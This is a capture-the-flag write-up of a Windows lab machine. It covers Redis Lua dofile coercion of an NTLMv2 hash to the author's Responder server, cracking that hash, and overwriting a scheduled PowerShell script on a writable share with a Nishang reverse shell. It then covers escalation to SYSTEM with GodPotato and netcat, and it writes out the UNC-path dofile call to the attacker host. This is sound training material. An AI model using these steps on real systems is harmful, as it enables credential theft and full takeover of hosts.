Writeup by wook413

ReconNmapInitial AccessSMB 139 445Redis 6379Shell as enterprise-securityPrivilege EscalationShell as SYSTEM

Recon

Nmap

As usual, I started this machine with a three-stage Nmap port scan. The first scan covers all 65,535 TCP ports to identify which ones are open; the second targets those open ports to determine the specific services and versions running; and the final scan performs a UDP scan on the top 10 ports.

Initial Access

SMB 139 445

Whenever I see the SMB service running, I always run Nmap scripts and use smbclient and smbmap to check if Null Authentication is possible. In this case, it appears the Null Authentication is disallowed.

Redis 6379

I also identified that the Redis service is running. Whenever Redis is active, the first thing I check is whether I can connect via redis-cli without requiring a username or password. Furthermore, I confirmed that the info command can be executed successfully.

config get * command lists all the configuration data of the running Redis server and the value of dir gives me a hint about the user: enterprise-security .

When I encounter services like Redis that I don’t see every day, I rely on various research resources, with HackTricks always being my first point of reference. According to HackTricks, Redis allows the execution of Lua code via the EVAL command; however, this runs within a sandbox to prevent dangerous actions. In older versions, it was possible to bypass this sandbox and read or execute server files using the dofile function.

HackTricks Link

Knowing that the target is a Windows OS, I attempted to execute the C:/Windows/System32/drivers/etc/hosts file. Although it returned an error, the specific message confirmed that the system indeed attempted to read and execute the file.

I will exploit this behavior to intercept an NTLM hash using Responder . The attack flow is as follows:

  1. I will execute dofile('//My-IP/share') via the Lua engine.

  2. The Windows OS interprets the string as a UNC path and attempts to establish an SMB connection to my machine (the attacker’s machine).

  3. During the SMB handshake, Windows automatically attempts to authenticate using the NTLMv2 hash of the user account running the Redis service.

  4. Responder, acting as a rogue SMB server, will intercept this authentication request and capture the NTLMv2 hash.

  5. The attacker (in this case, me) can crack the hash offline or relay it.

image-20260201153948243

I successfully cracked the hash with Hashcat .

Using the username and the password obtained from hash cracking, I used smbclient and smbmap to investigate available shares and their respective permissions. I discovered that the user has both READ and WRITE access to the Enterprise-Share, so I proceeded to connect to that share.

Inside the share, I found a single PowerShell script named PurgeIrrelevantData_1826.ps1 . The script simply removes everything inside the C:\Users\Public\Documents folder. Based on tis naming convention and functionality, it appears to be a part of a scheduled task.

I downloaded the Invoke-PowerShellTcp.ps1 script from the Nishang repository and modified it to automatically invoke the function and trigger a reverse shell callback upon execution. I then renamed the file to PurgeIrrelevantData_1826.ps1 and overwrote the existing script in the Enterprise-Share.

image-20260201154006623

Shell as enterprise-security

After a moment, the reverse shell successfully called back to my listener.

Found user.txt

Privilege Escalation

I confirmed that the current session has the SeImpersonatePrivilege enabled by running whoami /priv .

To exploit this, I transferred the GodPotato exploit and a Netcat binary from my local kali machine to the target host.

I confirmed that I could execute commands as the SYSTEM user by running the command below.

Shell as SYSTEM

Finally, I executed a reverse shell using GodPotato and the Netcat binary, which successfully triggered a callback to the listener running on my Kali machine.

Found system.txt